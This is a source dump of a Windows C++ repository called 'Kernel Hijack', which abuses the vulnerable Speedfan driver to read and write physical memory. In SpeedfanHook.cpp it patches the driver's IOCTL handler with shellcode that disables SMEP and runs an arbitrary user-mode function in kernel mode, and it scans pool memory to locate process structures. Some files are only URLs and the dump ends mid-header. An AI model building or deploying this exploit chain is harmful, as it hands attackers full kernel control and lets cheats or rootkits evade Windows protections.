├── .gitattributes
├── .gitignore
├── .vs
└── Kernel Hijack
│ └── v14
│ └── .suo
├── Kernel Hijack.VC.db
├── Kernel Hijack.sln
└── src
├── Kernel Hijack.vcxproj
├── Kernel Hijack.vcxproj.filters
├── Memory
├── MemIter.cpp
├── MemIter.h
├── MemIterNative.h
├── Proc.cpp
└── Proc.h
├── Speedfan
├── Speedfan.cpp
├── Speedfan.h
├── SpeedfanHook.cpp
└── SpeedfanHook.h
├── Utilities
├── Superfetch.cpp
├── Superfetch.h
├── SuperfetchNative.h
├── Utils.cpp
└── Utils.h
└── main.cpp
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 |
7 | # Standard to msysgit
8 | *.doc diff=astextplain
9 | *.DOC diff=astextplain
10 | *.docx diff=astextplain
11 | *.DOCX diff=astextplain
12 | *.dot diff=astextplain
13 | *.DOT diff=astextplain
14 | *.pdf diff=astextplain
15 | *.PDF diff=astextplain
16 | *.rtf diff=astextplain
17 | *.RTF diff=astextplain
18 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Windows image file caches
2 | Thumbs.db
3 | ehthumbs.db
4 |
5 | # Folder config file
6 | Desktop.ini
7 |
8 | # Recycle Bin used on file shares
9 | $RECYCLE.BIN/
10 |
11 | # Windows Installer files
12 | *.cab
13 | *.msi
14 | *.msm
15 | *.msp
16 |
17 | # Windows shortcuts
18 | *.lnk
19 |
20 | # =========================
21 | # Operating System Files
22 | # =========================
23 |
24 | # OSX
25 | # =========================
26 |
27 | .DS_Store
28 | .AppleDouble
29 | .LSOverride
30 |
31 | # Thumbnails
32 | ._*
33 |
34 | # Files that might appear in the root of a volume
35 | .DocumentRevisions-V100
36 | .fseventsd
37 | .Spotlight-V100
38 | .TemporaryItems
39 | .Trashes
40 | .VolumeIcon.icns
41 |
42 | # Directories potentially created on remote AFP share
43 | .AppleDB
44 | .AppleDesktop
45 | Network Trash Folder
46 | Temporary Items
47 | .apdisk
48 |
--------------------------------------------------------------------------------
/.vs/Kernel Hijack/v14/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SamLarenN/Kernel-Hijack/fd85ec41dcf727235dd56ceab230bba971c3d457/.vs/Kernel Hijack/v14/.suo
--------------------------------------------------------------------------------
/Kernel Hijack.VC.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SamLarenN/Kernel-Hijack/fd85ec41dcf727235dd56ceab230bba971c3d457/Kernel Hijack.VC.db
--------------------------------------------------------------------------------
/Kernel Hijack.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Kernel Hijack", "Kernel Hijack\Kernel Hijack.vcxproj", "{A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Debug|x64.ActiveCfg = Debug|x64
17 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Debug|x64.Build.0 = Debug|x64
18 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Debug|x86.ActiveCfg = Debug|Win32
19 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Debug|x86.Build.0 = Debug|Win32
20 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Release|x64.ActiveCfg = Release|x64
21 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Release|x64.Build.0 = Release|x64
22 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Release|x86.ActiveCfg = Release|Win32
23 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/src/Kernel Hijack.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}
23 | KernelHijack
24 | 8.1
25 |
26 |
27 |
28 | Application
29 | true
30 | v140
31 | MultiByte
32 |
33 |
34 | Application
35 | false
36 | v140
37 | true
38 | MultiByte
39 |
40 |
41 | Application
42 | true
43 | v140
44 | MultiByte
45 |
46 |
47 | Application
48 | false
49 | v140
50 | true
51 | MultiByte
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | Level3
75 | Disabled
76 | true
77 |
78 |
79 |
80 |
81 | Level3
82 | Disabled
83 | true
84 | C:\Users\drvtst\Documents\Visual Studio 2015\Projects\Kernel Hijack\Kernel Hijack;%(AdditionalIncludeDirectories)
85 |
86 |
87 |
88 |
89 | Level3
90 | MaxSpeed
91 | true
92 | true
93 | true
94 |
95 |
96 | true
97 | true
98 |
99 |
100 |
101 |
102 | Level3
103 | MaxSpeed
104 | true
105 | true
106 | true
107 | C:\Users\drvtst\Documents\Visual Studio 2015\Projects\Kernel Hijack\Kernel Hijack;%(AdditionalIncludeDirectories)
108 |
109 |
110 | true
111 | true
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
--------------------------------------------------------------------------------
/src/Kernel Hijack.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {c1897d51-e5c8-4af7-87d2-b2d6e86d7a33}
18 |
19 |
20 | {10092dba-cc4d-43a3-b359-a63dcba3d599}
21 |
22 |
23 | {11f76441-9a66-4191-a592-c842a11054a0}
24 |
25 |
26 |
27 |
28 | Speedfan
29 |
30 |
31 | Speedfan
32 |
33 |
34 | Source Files
35 |
36 |
37 | Memory
38 |
39 |
40 | Memory
41 |
42 |
43 | Utilities
44 |
45 |
46 | Utilities
47 |
48 |
49 |
50 |
51 | Speedfan
52 |
53 |
54 | Speedfan
55 |
56 |
57 | Memory
58 |
59 |
60 | Memory
61 |
62 |
63 | Memory
64 |
65 |
66 | Utilities
67 |
68 |
69 | Utilities
70 |
71 |
72 | Utilities
73 |
74 |
75 |
--------------------------------------------------------------------------------
/src/Memory/MemIter.cpp:
--------------------------------------------------------------------------------
1 | #include "Memory\MemIter.h"
2 | #include "Utilities\Utils.h"
3 | #include
4 |
5 |
6 | MemIter* g_pMemIter = new MemIter();
7 |
8 |
9 | /*
10 | Set up the iterator by passing portable functions
11 | */
12 | BOOLEAN MemIter::OnSetup(std::function Callback, std::function ReadPhysicalAddress)
13 | {
14 | if (!Callback || !ReadPhysicalAddress)
15 | return false;
16 | if (!g_pFetch->SFSetup())
17 | return false;
18 | if (!g_pFetch->SFGetMemoryInfo(m_MemInfo, m_InfoCount))
19 | return false;
20 |
21 | this->Callback = Callback;
22 | this->ReadPhysicalAddress = ReadPhysicalAddress;
23 | return true;
24 | }
25 |
26 |
27 | MemIter::~MemIter()
28 | {
29 | }
30 |
31 |
32 | BOOLEAN MemIter::isInRam(uint64_t address, uint32_t len)
33 | {
34 | for (int j = 0; j < m_InfoCount; j++)
35 | if ((m_MemInfo[j].Start <= address) && ((address + len) <= m_MemInfo[j].End))
36 | return true;
37 | return false;
38 | }
39 |
40 | /*
41 | Iterate physical memory, scan for pooltag
42 | */
43 | BOOLEAN MemIter::IterateMemory(const char* Pooltag, PVOID Context)
44 | {
45 | BOOLEAN bFound = FALSE;
46 | POOL_HEADER PoolHeader{ 0 };
47 | uint32_t tag = (
48 | Pooltag[0] |
49 | Pooltag[1] << 8 |
50 | Pooltag[2] << 16 |
51 | Pooltag[3] << 24
52 | );
53 |
54 | for (auto i = 0ULL; i < m_MemInfo[m_InfoCount - 1].End; i += 0x1000)
55 | {
56 | if (!isInRam(i, 0x1000UL))
57 | continue;
58 |
59 | uint8_t* lpCursor = (uint8_t*)i;
60 | uint32_t previousSize = 0;
61 |
62 | while (true)
63 | {
64 | if (!ReadPhysicalAddress((uint64_t)lpCursor, sizeof(POOL_HEADER), &PoolHeader))
65 | return 0;
66 |
67 | auto blockSize = (PoolHeader.BlockSize << 4);
68 | auto previousBlockSize = (PoolHeader.PreviousSize << 4);
69 |
70 | if (previousBlockSize != previousSize ||
71 | blockSize == 0 ||
72 | blockSize >= 0xFFF ||
73 | !g_pUtils->isPrintable(PoolHeader.PoolTag & 0x7FFFFFFF))
74 | break;
75 |
76 | previousSize = blockSize;
77 |
78 | if (tag == PoolHeader.PoolTag & 0x7FFFFFFF)
79 | {
80 | PVOID block = VirtualAlloc(nullptr, blockSize, MEM_COMMIT, PAGE_READWRITE); // Alloc mem for whole block
81 | if (!block)
82 | break;
83 |
84 | if (!ReadPhysicalAddress((uint64_t)lpCursor, blockSize, block)) // Read whole block
85 | {
86 | if (block)
87 | VirtualFree(block, 0, MEM_RELEASE);
88 | break;
89 | }
90 |
91 | bFound = Callback(block, lpCursor, blockSize, Context); // Callback, passes alloced block and physical address to block and size of block
92 |
93 | if (block)
94 | VirtualFree(block, 0, MEM_RELEASE);
95 | break;
96 | }
97 |
98 | lpCursor += blockSize;
99 | if (((uint64_t)lpCursor - i) >= 0x1000)
100 | break;
101 | }
102 |
103 | if (bFound)
104 | break;
105 | }
106 |
107 | return bFound;
108 | }
109 |
--------------------------------------------------------------------------------
/src/Memory/MemIter.h:
--------------------------------------------------------------------------------
1 | #ifndef MEMITER_H
2 | #define MEMITER_H
3 | #pragma once
4 |
5 | #include
6 | #include
7 | #include "Utilities\Superfetch.h"
8 | #include "Memory\MemIterNative.h"
9 |
10 |
11 | class MemIter
12 | {
13 | public:
14 | BOOLEAN OnSetup(std::function Callback, std::function ReadPhysicalAddress);
15 | ~MemIter();
16 |
17 | BOOLEAN IterateMemory(const char* Pooltag, PVOID Context);
18 |
19 | private:
20 | BOOLEAN isInRam(uint64_t address, uint32_t len);
21 |
22 | private:
23 | std::function Callback;
24 | std::function ReadPhysicalAddress;
25 | SFMemoryInfo m_MemInfo[32];
26 | int m_InfoCount = 0;
27 | };
28 |
29 | #endif // !MEMITER_H
30 |
31 | extern MemIter* g_pMemIter;
--------------------------------------------------------------------------------
/src/Memory/MemIterNative.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #ifndef MEMITER_NATIVE_H
3 | #define MEMITER_NATIVE_H
4 |
5 | #include
6 |
7 | typedef struct _POOL_HEADER
8 | {
9 | union
10 | {
11 | struct
12 | {
13 | #if defined(_AMD64_)
14 | ULONG PreviousSize : 8;
15 | ULONG PoolIndex : 8;
16 | ULONG BlockSize : 8;
17 | ULONG PoolType : 8;
18 | #else
19 | USHORT PreviousSize : 9;
20 | USHORT PoolIndex : 7;
21 | USHORT BlockSize : 9;
22 | USHORT PoolType : 7;
23 | #endif
24 | };
25 | ULONG Ulong1;
26 | };
27 | #if defined(_WIN64)
28 | ULONG PoolTag;
29 | #endif
30 | union
31 | {
32 | #if defined(_WIN64)
33 | void *ProcessBilled;
34 | #else
35 | ULONG PoolTag;
36 | #endif
37 | struct
38 | {
39 | USHORT AllocatorBackTraceIndex;
40 | USHORT PoolTagHash;
41 | };
42 | };
43 | } POOL_HEADER, *PPOOL_HEADER;
44 |
45 | typedef struct _OBJECT_HEADER
46 | {
47 | LONG PointerCount;
48 | union
49 | {
50 | LONG HandleCount;
51 | PVOID NextToFree;
52 | };
53 | ULONGLONG Lock;
54 | UCHAR TypeIndex;
55 | union
56 | {
57 | UCHAR TraceFlags;
58 | struct
59 | {
60 | UCHAR DbgRefTrace : 1;
61 | UCHAR DbgTracePermanent : 1;
62 | UCHAR Reserved : 6;
63 | };
64 | };
65 | UCHAR InfoMask;
66 | union
67 | {
68 | UCHAR Flags;
69 | struct
70 | {
71 | UCHAR NewObject : 1;
72 | UCHAR KernelObject : 1;
73 | UCHAR KernelOnlyAccess : 1;
74 | UCHAR ExclusiveObject : 1;
75 | UCHAR PermanentObject : 1;
76 | UCHAR DefaultSecurityQuota : 1;
77 | UCHAR SingleHandleEntry : 1;
78 | UCHAR DeletedInline : 1;
79 | };
80 | };
81 | union
82 | {
83 | PVOID ObjectCreateInfo;
84 | PVOID QuotaBlockCharged;
85 | };
86 | PVOID SecurityDescriptor;
87 | PVOID Body;
88 | } OBJECT_HEADER, *POBJECT_HEADER;
89 |
90 | #endif // !MEMITER_NATIVE_H
--------------------------------------------------------------------------------
/src/Memory/Proc.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SamLarenN/Kernel-Hijack/fd85ec41dcf727235dd56ceab230bba971c3d457/src/Memory/Proc.cpp
--------------------------------------------------------------------------------
/src/Memory/Proc.h:
--------------------------------------------------------------------------------
1 | #ifndef PROC_H
2 | #define PROC_H
3 | #pragma once
4 |
5 | #include
6 | #include
7 | #include
8 |
9 |
10 |
11 | class Proc
12 | {
13 | public:
14 |
15 | BOOLEAN OnSetup(std::string ProcessName);
16 | ~Proc();
17 |
18 |
19 | BOOLEAN ReadProcessMemory(PVOID Address, DWORD Size, PVOID Dst);
20 | template
21 | T Read(U Address)
22 | {
23 | T Buff{ 0 };
24 | ReadProcessMemory((PVOID)Address, sizeof(T), &Buff);
25 | return Buff;
26 | }
27 |
28 | BOOLEAN WriteProcessMemory(PVOID Address, DWORD Size, PVOID Src);
29 | template
30 | BOOLEAN Write(U Address, T Val)
31 | {
32 | return WriteProcessMemory((PVOID)Address, sizeof(T), &Val);
33 | }
34 |
35 |
36 | private:
37 | BOOLEAN GetProcessId();
38 | BOOLEAN Callback(PVOID Block, PVOID PhysBlock, ULONG BlockSize, PVOID Context);
39 | uint64_t TranslateVirtualAddress(uint64_t directoryTableBase, LPVOID virtualAddress);
40 |
41 | private:
42 | std::string m_ProcessName;
43 | uint64_t m_ProcessId;
44 | uint64_t m_DirectoryTable;
45 | uint8_t* m_PhysEprocess;
46 | uint64_t m_VaPEB;
47 | };
48 |
49 | #endif // !PROC_H
50 |
51 | extern Proc* g_pProc;
--------------------------------------------------------------------------------
/src/Speedfan/Speedfan.h:
--------------------------------------------------------------------------------
1 | #ifndef SPEEDFAN_H
2 | #define SPEEDFAN_H
3 | #pragma once
4 |
5 | #include
6 | #include
7 |
8 |
9 | class Speedfan
10 | {
11 | public:
12 | BOOLEAN OnSetup();
13 | BOOLEAN ReadMSR(uint32_t Msr, uint64_t* Ret);
14 | VOID ExecuteKernelCallback(PVOID Func);
15 | BOOLEAN ReadPhysicalAddress(uint64_t physAddress, DWORD Size, LPVOID Return);
16 | BOOLEAN WritePhysicalAddress(uint64_t physAddress, DWORD Size, PVOID Src);
17 | ~Speedfan();
18 |
19 | template
20 | T ReadPhysicalAddress(U Address)
21 | {
22 | T Buff{ 0 };
23 | ReadPhysicalAddress((uint64_t)Address, sizeof(T), &Buff);
24 | return Buff;
25 | }
26 |
27 | private:
28 | BOOLEAN DropDriver();
29 | BOOLEAN LoadDriver();
30 |
31 | private:
32 | char m_szPath[MAX_PATH];
33 | HANDLE m_hDriver;
34 | };
35 |
36 | #endif // !SPEEDFAN_H
37 |
38 | extern Speedfan* g_pSpdfan;
39 | extern unsigned char SpeedfanShell[28664];
--------------------------------------------------------------------------------
/src/Speedfan/SpeedfanHook.cpp:
--------------------------------------------------------------------------------
1 | #include "Speedfan\SpeedfanHook.h"
2 |
3 | #include "Utilities\Superfetch.h"
4 | #include "Memory\Proc.h"
5 | #include "Speedfan\Speedfan.h"
6 | #include "Utilities\Utils.h"
7 |
8 |
9 | #define TEXT_SECTION_OFFS 0x1000
10 | #define IOCTL_FUNC_OFFS 0x10D5
11 | #define IOCTL_FUNC_SIZE 0x4C
12 |
13 | ULONG(NTAPI* DbgPrintEx)(ULONG, ULONG, PCSTR, ...);
14 |
15 | SpeedfanHook* g_pHook = new SpeedfanHook();
16 |
17 |
18 | SpeedfanHook::SpeedfanHook()
19 | {
20 | }
21 |
22 |
23 | SpeedfanHook::~SpeedfanHook()
24 | {
25 | }
26 |
27 |
28 | BOOLEAN SpeedfanHook::OnSetup()
29 | {
30 | return HookIOCTLFunction();
31 | }
32 |
33 |
34 | BOOLEAN SpeedfanHook::HookIOCTLFunction()
35 | {
36 | if (!m_ModuleBase)
37 | {
38 | m_ModuleBase = g_pFetch->SFGetModuleBase("speedfan.sys");
39 | if (!m_ModuleBase)
40 | return false;
41 | }
42 |
43 | if (!m_NtBase)
44 | {
45 | m_NtBase = g_pFetch->SFGetModuleBase("ntoskrnl.exe");
46 | if (!m_NtBase)
47 | return false;
48 | }
49 |
50 | if (!m_MmGetSystemRoutineAddressRVA)
51 | {
52 | m_MmGetSystemRoutineAddressRVA = g_pFetch->SFGetNativeProcedureRVA("MmGetSystemRoutineAddress");
53 | if (!m_MmGetSystemRoutineAddressRVA)
54 | return false;
55 | }
56 |
57 |
58 | uint64_t MmGetSystemRoutineAddress = m_MmGetSystemRoutineAddressRVA + m_NtBase;
59 |
60 | // Set virtual address MmGetSystemRoutineAddress
61 | m_Params.MmGetSystemRoutineAddress = (PVOID)MmGetSystemRoutineAddress;
62 |
63 | // Virtual address to ioctl handler to be overwritten.
64 | // We will overwrite the WriteMSR handler.
65 | uint64_t IOCTLFunction = m_ModuleBase + TEXT_SECTION_OFFS + IOCTL_FUNC_OFFS;
66 |
67 | // memset NOPs
68 | for (int i = 0; i < IOCTL_FUNC_SIZE; ++i)
69 | g_pProc->Write(IOCTLFunction + i, 0x90);
70 |
71 | // Before we get to execute this payload, RDI will contain "Systembuffer" passed to the device driver
72 | BYTE payload[] =
73 | {
74 | //0xCC, // int3 ; Breakpoint (For debugging)
75 | 0xFA, // cli ; Clear interrupts
76 | 0x48, 0x8B, 0x07, // mov rax, [rdi] ; Get 64bit value passed from usermode through Systembuffer
77 | 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // movabs rcx, 0x0 ; Move address to parameters passed to our function (we will overwrite the zeroes)
78 | 0x41, 0x0F, 0x20, 0xE7, // mov r15, cr4 ; Save CR4 in a nonvolatile register
79 | 0x0F, 0x20, 0xE3, // mov rbx, cr4 ; Move CR4 to RBX
80 | 0x48, 0x81, 0xE3, 0xFF, 0xFF, 0xEF, 0xFF, // and rbx, 0xffffffffffefffff ; Set CR4.SMEP to 0
81 | 0x0F, 0x22, 0xE3, // mov cr4, rbx ; Set new CR4
82 | 0xFF, 0xD0, // call rax ; Call our function pointer
83 | 0x41, 0x0F, 0x22, 0xE7, // mov cr4, r15 ; Restore CR4
84 | 0xFB // sti ; Set interrupts
85 | };
86 |
87 | // Set pointer to parameter
88 | // Set to 0x7 if 0xCC (int3) is in shellcode
89 | *(uint64_t*)(payload + 0x6) = (uint64_t)&m_Params;
90 |
91 | // Write shellcode
92 | return g_pProc->WriteProcessMemory((PVOID)IOCTLFunction, sizeof(payload), (PVOID)payload);
93 | }
94 |
95 |
96 | /*
97 | Calls the parameter function from kernel to usermode
98 | */
99 | VOID SpeedfanHook::ExecuteHook(PVOID Hook)
100 | {
101 | g_pSpdfan->ExecuteKernelCallback(Hook);
102 | }
103 |
104 |
105 |
106 | void __stdcall HookFunc(HOOKPARAMS* ParamStruct)
107 | {
108 | if (ParamStruct == nullptr)
109 | return;
110 |
111 | PVOID f = (PVOID)ParamStruct->MmGetSystemRoutineAddress;
112 | DbgPrintEx = (decltype(DbgPrintEx))g_pUtils->GetSystemRoutine(f, L"DbgPrintEx");
113 | DbgPrintEx(77, 0, "0x%X", ParamStruct->Context);
114 | return;
115 | }
--------------------------------------------------------------------------------
/src/Speedfan/SpeedfanHook.h:
--------------------------------------------------------------------------------
1 | #ifndef SPEEDFAN_HOOK_H
2 | #define SPEEDFAN_HOOK_H
3 | #pragma once
4 |
5 | #include
6 | #include
7 |
8 |
9 |
10 | struct HOOKPARAMS
11 | {
12 | PVOID MmGetSystemRoutineAddress;
13 | PVOID Context;
14 | };
15 |
16 | class SpeedfanHook
17 | {
18 | public:
19 | BOOLEAN OnSetup();
20 | SpeedfanHook();
21 | ~SpeedfanHook();
22 |
23 | VOID SetHookParams(PVOID Context) { m_Params.Context = Context; }
24 | VOID ExecuteHook(PVOID Hook);
25 |
26 | private:
27 | BOOLEAN HookIOCTLFunction();
28 |
29 | private:
30 | uint64_t m_ModuleBase = 0, m_NtBase = 0, m_MmGetSystemRoutineAddressRVA = 0;
31 | HOOKPARAMS m_Params;
32 | };
33 |
34 | #endif // !SPEEDFAN_HOOK_H
35 |
36 | extern SpeedfanHook* g_pHook;
37 |
38 | void __stdcall HookFunc(HOOKPARAMS* ParamStruct);
--------------------------------------------------------------------------------
/src/Utilities/Superfetch.cpp:
--------------------------------------------------------------------------------
1 | #include "Utilities\Superfetch.h"
2 |
3 | Superfetch* g_pFetch = new Superfetch();
4 |
5 |
6 | Superfetch::Superfetch()
7 | {
8 | }
9 |
10 |
11 | Superfetch::~Superfetch()
12 | {
13 | }
14 |
--------------------------------------------------------------------------------
/src/Utilities/Superfetch.h:
--------------------------------------------------------------------------------
1 | #ifndef SUPERFETCH_H
2 | #define SUPERFETCH_H
3 | #pragma once
4 |
5 | #include
6 | #include
7 | #include
8 | #include "Utilities\SuperfetchNative.h"
9 |
10 | struct SFMemoryInfo
11 | {
12 | uint64_t Start;
13 | uint64_t End;
14 | int PageCount;
15 | uint64_t Size;
16 | };
17 |
18 | class Superfetch
19 | {
20 | public:
21 | Superfetch();
22 | ~Superfetch();
23 |
24 |
25 |
26 | template
27 | std::unique_ptr
28 | QueryInfo(
29 | __in SYSTEM_INFORMATION_CLASS sysClass
30 | )
31 | {
32 | size_t size = sizeof(RTL_PROCESS_MODULES) + SPAGE_SIZE;
33 | NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
34 | void* info = malloc(size);
35 | if (!info)
36 | return std::unique_ptr(nullptr);
37 |
38 | for (; STATUS_INFO_LENGTH_MISMATCH == status; size *= 2)
39 | {
40 | status = NtQuerySystemInformation(
41 | (SYSTEM_INFORMATION_CLASS)sysClass,
42 | info,
43 | size,
44 | nullptr);
45 |
46 | info = realloc(info, size * 2);
47 | if (!info)
48 | break;
49 | }
50 |
51 | std::unique_ptr r_info = std::unique_ptr(static_cast(info));
52 | return r_info;
53 | }
54 |
55 |
56 | inline void SFBuildInfo(IN PSUPERFETCH_INFORMATION SuperfetchInfo, IN PVOID Buffer, IN ULONG Length, IN SUPERFETCH_INFORMATION_CLASS InfoClass) {
57 | SuperfetchInfo->Version = SUPERFETCH_VERSION;
58 | SuperfetchInfo->Magic = SUPERFETCH_MAGIC;
59 | SuperfetchInfo->Data = Buffer;
60 | SuperfetchInfo->Length = Length;
61 | SuperfetchInfo->InfoClass = InfoClass;
62 | }
63 |
64 |
65 | bool SFSetup()
66 | {
67 | BOOLEAN old;
68 | auto status = RtlAdjustPrivilege(SE_PROF_SINGLE_PROCESS_PRIVILEGE, TRUE, FALSE, &old);
69 | status |= RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &old);
70 | if (!NT_SUCCESS(status))
71 | return false;
72 |
73 | SYSTEM_BASIC_INFORMATION basicInfo;
74 |
75 | status = NtQuerySystemInformation(SystemBasicInformation,
76 | &basicInfo, sizeof(SYSTEM_BASIC_INFORMATION), nullptr);
77 | if (!NT_SUCCESS(status))
78 | return false;
79 |
80 |
81 | return true;
82 | }
83 |
84 |
85 | bool SFGetMemoryInfo(SFMemoryInfo* pInfo, int& rCount)
86 | {
87 | PPF_MEMORY_RANGE_INFO MemoryRanges;
88 | SUPERFETCH_INFORMATION SuperfetchInfo;
89 | ULONG ResultLength = 0;
90 | PF_MEMORY_RANGE_INFO MemoryRangeInfo;
91 | MemoryRangeInfo.Version = 1;
92 | SFBuildInfo(&SuperfetchInfo, &MemoryRangeInfo, sizeof(MemoryRangeInfo), SuperfetchMemoryRangesQuery);
93 |
94 | if (
95 | NtQuerySystemInformation(SystemSuperfetchInformation, &SuperfetchInfo, sizeof(SuperfetchInfo), &ResultLength)
96 | == STATUS_BUFFER_TOO_SMALL)
97 | {
98 | MemoryRanges = static_cast(HeapAlloc(GetProcessHeap(), 0, ResultLength));
99 | MemoryRanges->Version = 1;
100 | SFBuildInfo(&SuperfetchInfo, MemoryRanges, ResultLength, SuperfetchMemoryRangesQuery);
101 | if (!NT_SUCCESS(NtQuerySystemInformation(SystemSuperfetchInformation, &SuperfetchInfo, sizeof(SuperfetchInfo), &ResultLength)))
102 | return false;
103 | }
104 | else {
105 | MemoryRanges = &MemoryRangeInfo;
106 | }
107 |
108 | rCount = 0;
109 | PPHYSICAL_MEMORY_RUN Node;
110 | for (ULONG i = 0; i < MemoryRanges->RangeCount; i++) {
111 | Node = reinterpret_cast(&MemoryRanges->Ranges[i]);
112 | pInfo[i].Start = Node->BasePage << PAGE_SHIFT;
113 | pInfo[i].End = (Node->BasePage + Node->PageCount) << PAGE_SHIFT;
114 | pInfo[i].PageCount = Node->PageCount;
115 | pInfo[i].Size = ((Node->PageCount << PAGE_SHIFT) >> 10) * 1024; // kb to byte
116 | rCount++;
117 | }
118 | return true;
119 | }
120 |
121 |
122 | uint64_t SFGetModuleBase(const char* module)
123 | {
124 | auto module_info = QueryInfo(SystemModuleInformation);
125 |
126 | for (size_t i = 0; i < module_info->NumberOfModules; i++)
127 | if (!_strnicmp(module, module_info.get()->Modules[i].FullPathName + module_info->Modules[i].OffsetToFileName, strlen(module) + 1))
128 | return reinterpret_cast(module_info->Modules[i].ImageBase);
129 |
130 | return 0;
131 | }
132 |
133 |
134 | uint64_t SFGetNativeProcedureRVA(const char* lpProcedure)
135 | {
136 | uint64_t MmGetSystemRoutineAddress = 0;
137 | char szSystemPath[MAX_PATH] = { 0 };
138 | MODULEINFO modInfo;
139 |
140 | GetSystemDirectoryA(szSystemPath, MAX_PATH);
141 | strcat_s(szSystemPath, "\\ntoskrnl.exe");
142 |
143 | HMODULE MappedImage = LoadLibraryExA(szSystemPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
144 | if (!MappedImage)
145 | return 0;
146 |
147 | if (!GetModuleInformation(GetCurrentProcess(), MappedImage, &modInfo, sizeof(modInfo)))
148 | {
149 | FreeModule(MappedImage);
150 | return 0;
151 | }
152 |
153 |
154 | MmGetSystemRoutineAddress = (uint64_t)GetProcAddress(MappedImage, lpProcedure);
155 | MmGetSystemRoutineAddress -= (uint64_t)modInfo.lpBaseOfDll;
156 |
157 | FreeModule(MappedImage);
158 | return MmGetSystemRoutineAddress;
159 | }
160 | };
161 |
162 | #endif // !SUPERFETCH_H
163 |
164 | extern Superfetch* g_pFetch;
--------------------------------------------------------------------------------
/src/Utilities/SuperfetchNative.h:
--------------------------------------------------------------------------------
1 | #ifndef _SUPERFETCH_NATIVE_H
2 | #define _SUPERFETCH_NATIVE_H
3 | #pragma comment(lib, "ntdll.lib")
4 | #define _AMD64_
5 | #include
6 |
7 | typedef long NTSTATUS, *PNTSTATUS;
8 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
9 | #include
10 |
11 | //
12 | // Memory Manager Page Lists
13 | //
14 | typedef enum _MMLISTS {
15 | ZeroedPageList = 0,
16 | FreePageList = 1,
17 | StandbyPageList = 2,
18 | ModifiedPageList = 3,
19 | ModifiedNoWritePageList = 4,
20 | BadPageList = 5,
21 | ActiveAndValid = 6,
22 | TransitionPage = 7
23 | } MMLISTS;
24 |
25 | //
26 | // PFN Identity Uses
27 | //
28 | #define MMPFNUSE_PROCESSPRIVATE 0
29 | #define MMPFNUSE_FILE 1
30 | #define MMPFNUSE_PAGEFILEMAPPED 2
31 | #define MMPFNUSE_PAGETABLE 3
32 | #define MMPFNUSE_PAGEDPOOL 4
33 | #define MMPFNUSE_NONPAGEDPOOL 5
34 | #define MMPFNUSE_SYSTEMPTE 6
35 | #define MMPFNUSE_SESSIONPRIVATE 7
36 | #define MMPFNUSE_METAFILE 8
37 | #define MMPFNUSE_AWEPAGE 9
38 | #define MMPFNUSE_DRIVERLOCKPAGE 10
39 | #define MMPFNUSE_KERNELSTACK 11
40 |
41 | typedef struct _SYSTEM_MEMORY_LIST_INFORMATION {
42 | SIZE_T ZeroPageCount;
43 | SIZE_T FreePageCount;
44 | SIZE_T ModifiedPageCount;
45 | SIZE_T ModifiedNoWritePageCount;
46 | SIZE_T BadPageCount;
47 | SIZE_T PageCountByPriority[8];
48 | SIZE_T RepurposedPagesByPriority[8];
